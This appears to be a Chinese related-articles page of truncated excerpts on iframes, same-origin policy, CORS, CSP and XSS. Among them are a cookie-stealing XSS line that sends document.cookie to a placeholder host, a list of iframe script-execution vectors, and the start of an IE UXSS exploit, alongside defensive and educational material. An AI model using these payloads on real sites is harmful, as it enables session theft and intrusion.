在父页面中定义函数，再到子页面中调用。 父页面parent.html function getFrameId(f){ var frames = document.getElementsByTagName(“iframe”); //获取父页面所有iframe for(i=0;i
最近David Leo在Full Disclosure上爆出了一个ie的 uxss 漏洞，可以绕过ie的同源策略。FreeBuf也有相关的报道（点我查看）。本文简要分析一下这个漏洞的原理。 攻击过程 <iframe src="redirect.php"></iframe> <iframe src="https://www.google.com/images/srpr/logo11w.png"></iframe> <script> top[0].eval('_=top[1];alert();_.loc
在自己的项目中嵌入过广告的朋友们可能都用过百度联盟, 只需要嵌入如下一段js代码片段, 就可以在自己的项目中嵌入广告, 来获得收益. <script type=“text javascript”>
iframe的高度不会随着页面高度的变化而变化，可能会导致页面显示不全，或者页面下方有空白的问题。
在早期 ， 对于xss我们是这样利用的 <script>window.open('http://xxx.xxx/cookie.asp?msg='+document.cookie)</script> 将
缺点是：此方案不适合mobile应用；IE7以下不支持；如果一张图片在多个页面被用到，无法利用浏览器缓存。 为了解决无法缓存问题，可以将data:image应用到CSS样式中，比如：
今天把实现OC代码和JS代码交互的第三方库WebViewJavascriptBridge源码看了下，oc调用js方法我们是知道的，系统提供了stringByEvaluatingJavaScriptFromString函数
概述 Clickjacking是最近新兴的针对WEB前端的攻击手段。它通常使用一个ifream覆盖掉当前页面，欺骗用户点击iframe中的恶意内容。 Likejacking通常是针对社交网站的一种攻击手法，攻击者会欺骗用户去点击一个伪造的图标或按钮。如今攻击者已经研究出了大量的方法，来把官方的按钮模仿的惟妙惟肖。 Clickjacking技术首先是由Jeremiah Grossman 和 Robert Hanson在2008年提出的，而如今这种依附于JS的攻
当我们遇到请求后台接口遇到 Access-Control-Allow-Origin 时，那说明跨域了。
CORS需要浏览器和服务器同时支持，整个CORS过程都是浏览器完成的，无需用户参与。因此实现CORS的关键就是服务器，只要服务器实现了CORS请求，就可以跨源通信了。
2.) 资源嵌入： <link> 、 <script> 、 、 <frame> 等 dom 标签，还有样式中 background:url() 、 @font-face() 等文件外链
Sandbox（沙盒/沙箱）的主要目的是为了安全性，以防止恶意代码或者不受信任的脚本访问敏感资源或干扰其他应用程序的执行。通过在沙盒环境中运行，可以确保代码的行为被限制在一个安全的范围内，防止其超出预期权限进行操作。
我们平时常说的变量的作用域(scope)，它全名应该叫「词法作用域」(lexical scope)。它是程序中可以访问变量的区域，即作用域控制着变量和函数的可见性和生命周期。
这篇博文解释的挺清楚，我直接引用 什么是跨域？怎么解决跨域问题？_L瑜-CSDN博客_跨域是什么意思
本文实例讲述了PHP下ajax跨域的解决方案之window.name。分享给大家供大家参考，具体如下：
由于activiti与系统应用主题样式出入较大，协商后决定将activiti的editor-app放在前台。
同源策略（same-origin policy） 最初是由 Netspace 公司在 1995 年引入浏览器的一种安全策略，现在所有的浏览器都遵守同源策略，它是浏览器安全的基石。
发布者：全栈程序员栈长，转载请注明出处：https://javaforall.cn/126363.html原文链接：https://javaforall.cn
某次业务上线常规安全测试，有记录操作的功能，猜测存在存储型XSS漏洞，但由于存在长亭WAF被拦截。遂将之前总结的XSS绕过手段逐一测试了下。
CSP 全名 内容安全策略（Content Security Policy） 主要用来防御：XSS CSP 基本思路 定义外部内容引用的白名单 例如 页面中有个按钮，执行的动作源于 http://a.com/x.js，但如果被攻击的话，有可能执行的是 http://b.com/x.js 浏览器可以下载并执行任意js请求，而不论其来源 CSP 的作用就是创建一个可信来源的白名单，使得浏览器只执行来自这些来源的资源，而不是盲目信任所有内容，即使攻击者可以找到漏洞来注入脚本，但是因为来源不包含在白
WebViewJavascriptBridge是一个有点年代的JS与OC交互的库，使用该库的著名应用还挺多的，目前这个库有7000+star。我去翻看了它的第一版本已经是4年前了，在版本V4.1.4以及之前，该库只有一个类和一个js 的txt文件，所以旧版本的WebViewJavascriptBridge 是非常容易理解的。而最新版的WebViewJavascriptBridge因为也要兼容WKWebView，所以里面也加入了两个新的类，一开始看的时候，会被它里面复杂的逻辑吓到，其实仔细阅读后，它还是非常简单的。
如果你的网站上面有很多第三方JS代码，那么“下载速度的不可控”很有可能导致你的网站会被拖慢。因为JS在执行的时候会影响到页面的DOM和样式等情况。浏览器在解析渲染HTML的时候，如果解析到需要下载文件的script标签，那么会停止解析接下来的HTML，然后下载外链JS文件并执行。等JS执行完毕之后才会继续解析剩下的HTML。这就是所谓的『HTML解析被阻止』。浏览器解析渲染页面的抽象流程图如下：
1. 先来说说iframe的变化。 1.1 最好懂的，onload执行js <iframe onload="alert(1)"></iframe> 1.2 src 执行javascript代码 <iframe src="javascript:alert(1)"></iframe> 1.3 IE下vbscript执行代码 <iframe src="vbscript:msgbox(1)"></iframe> 1.4 Chrome下data协议执行代码 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome 1.5 上面的变体 <iframe src="data:text/html,<script>alert(1)</script>"></iframe> 1.6 Chrome下srcdoc属性 <iframe srcdoc="<script>alert(1)</script>"></iframe> 2. 有兴趣的，可以一个一个的去测试上面的效果，注意浏览器的特异性哦。 3. 接着我们来看看具体的例子。
从网站开发者的角度来看，第三方JS相比第一方JS有如下几个不同之处： 下载速度不可控 JS地址域名与网站域名不同 文件内容不可控 不一定有强缓存（Cache-Control/Expires） 如果你的网站上面有很多第三方JS代码，那么“下载速度的不可控”很有可能导致你的网站会被拖慢。因为JS在执行的时候会影响到页面的DOM和样式等情况。浏览器在解析渲染HTML的时候，如果解析到需要下载文件的script标签，那么会停止解析接下来的HTML，然后下载外链JS文件并执行。等JS执行完毕之后才会继续解析剩下
俗话说得好，常在河边走，哪能不湿鞋？俗话又说了，出来混，早晚要还的。只是没想到自己还的这么快。就在之前的几篇关于MITM的笔记兼科普文刚发布不久，我自己就遭遇了一次中间人攻击。无奈由于技不如人，当时花了两天都没找到原因。不过吃一堑长一智，虽然丢了点个人信息，但总算明白了对方的手法。在此记录一下当时的排查过程，就当是为自己作个提醒吧。
XDOC可以实现预览以DataURI表示的DOC文档，此外XDOC还可以实现文本、带参数文本、html文本、json文本、公文等在线预览，具体实现方法请看官方文档下面这种方式可以实现快速预览word但是对文件使用的编辑器可能会有一些限制
国庆假期结束,这一节准备XSS跨站攻击渗透测试中的利用点,上一节讲了SQL注入攻击的详细流程,很多朋友想要咨询具体在跨站攻击上是如何实现和利用的,那么我们Sinesafe渗透测试工程师为大家详细的讲讲这个XSS是如何实现以及原理。
如果只是禁止了右键和选择复制，别人还可以通过浏览器菜单中的"文件"－"另存为"拷贝文件。为了使拷
大家好，今天和大家讨论的是 Web 嵌入，无论是网站还是应用程序，在部分场景下我们需要嵌入一些第三方的 web 内容，例如我写了篇技术文章，其中部分包含视频内容，我上传到 B 站上了，我想把这段内容嵌入到我的技术文章中，就可能要使用 web 嵌入技术
如果一个网页正在使用用户控制的输入创建一个PDF，您可以尝试欺骗创建PDF的机器人执行任意JS代码，PDF creator bot发现某种HTML标签后它将解释它们，您可以滥用这种行为来导致服务器XSS，需要注意的是<script><\script>标记并不总是有效，所以您需要一个不同的方法来执行JS(例如:滥用<img),另外在常规的开发中
本文先从第三方Javascript脚本的重要组成部分“投放代码”讲起。先从一个最例子看起：Google Analytics（以下简称GA），是Google提供的用于网站监测等一系列功能的服务。网站开发者将GA提供的投放代码放到自己网站上需要监测的页面（一般是全站添加）。
官网：https://github.com/superalsrk/hexo-pdf
0x01 初步分析阶段 首先拿到题目，看到留言板，第一反应就是XSS。 但是看过题目提示后，有些不确定。 所以开始分析整道题目。 首先，观察network页面，查看主页面的响应。 发现是通过js进行子
那么，何为同源呢？只有当协议、端口、域名都相同的页面，则两个页面具有相同的源。只要网站的协议protocol、 主机host、 端口号port 这三个中的任意一个不同，网站间的数据请求与传输便构成了跨域调用，会受到同源策略的限制。
拿到这个对象，就可以根据正常网页的方法拿到嵌入（子）网页的文档高度，然后把值附给父页面的iframe的height。
刚开始是把iframe的设置成固定的高度，当把iframe设置成scrolling="auto"时，，这时鼠标移到iframe上会有滚动条，如果设置成scrolling="no"超出内容的话就没有滚动条了，看样子把iframe设置成固定高度是不合适的，改成iframe的高度为内容的高度。由于内容使用了bootstrap table插件，table的高度要根据窗口的高度变化，iframe的高度与内容的高度有关，首先需要确定table的高度，可以根据localStorage设置高度，table的高度获取高度可以完美解决。
iframe 用于在页面内显示页面，使用 <iframe> 会创建包含另外一个文档的内联框架（即行内框架）
原则上来说，HTML在使用<script>标签加载外部脚本文件时，会顺序下载，顺序执行，并阻碍其他资源文件的下载，比如图片（当然，如今主流浏览器是可以实现JS和CSS文件并行下载）。
基于flask和bootstrap-table的通用数据查询，大体思路是构建两张字典表，一张表存表信息，一张表存字段信息，字段信息表包含了字段的字段名、字段类型、字段长度、是否主键、是否为空、显示顺序、查询标志等等。
甚至还会用一下chrome的toggle工具，来查看自己网站在不同屏幕分辨率下是否存在bug
layuiAdmin.std（iframe 版） 是完全基于 layui 架构而成的通用型后台管理模板系统，采用传统的 iframe 多页面开发模式，可更快速直接地开发网页后台应用程序，无需过多地学习成本，简单高效，撸起袖子直接干。
大家好，今天和大家讨论 nodeIntegrationInSubFrames , 这个选项看起来和 nodeIntegration 很像，不过后面跟了 InSubFrames ，说明是在 SubFrames 中开启 Node.js
要理解跨域问题，就先理解好概念。跨域问题是由于javascript语言安全限制中的同源策略造成的.
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜，其中最大的惊喜莫过于多道xss中Bypass CSP的题目，其中有很多应用于现代网站的防御思路。 其中bl0g提及了通过变量覆盖来调用已有代码动态插入Script标签绕过 strict-dynamic CSP的利用方式。 h4xors.club2则是通过Script Gadgets和postmessage中间人来实现利用。 h4x0rs.space提及了Appcache以及Service worker配合jsonp接口实现的利用思路。 其中的很多利用思路非常精巧，值得研究。所以我花费了大量时间复现其中题目的思路以及环境，希望能给读者带来更多东西...
2： 在<body>中加入以下代码： <body oncontextmenu="return false" onselectstart="return false"> 或 <body oncontextmenu="event.returnValue=false" onselectstart="event.returnValue=false"> 实质上，方法2与方法1是一样的。 方
刚刚4月过去的TCTF/0CTF2018一如既往的给了我们惊喜，其中最大的惊喜莫过于多道xss中Bypass CSP的题目，其中有很多应用于现代网站的防御思路。
这两天回了家从感觉浏览器行为有些怪异，有些熟悉的网页无故出现了额外的竖直滚动条，有时候是两个，有时候甚至到了3个！我是用的是chrome浏览器，像现在wp后台添加文章的页面就是有3个竖直滚动条的。
官方介绍： 通过Hook XSS的常用函数,并监控DOM元素的创建,从而对整个页面的js行为进行监控。当发现页面中存在XSS攻击行为时,可根据预置的选项,进行放行,提醒用户选择,阻拦三种处理方式,同时预警中心会收到一次事件的告警,安全人员可根据告警进行应急响应处理。 在研究如何绕过一个系统之前，不急于直接读代码，先旁敲侧击看看这个系统大体都做了什么。 官方介绍中，在脚本加载前，需要执行一堆配置代码： <script type="text/javascript"> var hxj_config = {
跨站脚本攻击XSS(Cross Site Scripting)，为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆，故将跨站脚本攻击缩写为XSS。恶意攻击者往Web页面里插入恶意Script代码，当用户浏览该页面时，嵌入Web里面的Script代码会被执行，从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击！ XSS分为：存储型 、反射型 、DOM型XSS
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
实时音视频
即时通信 IM
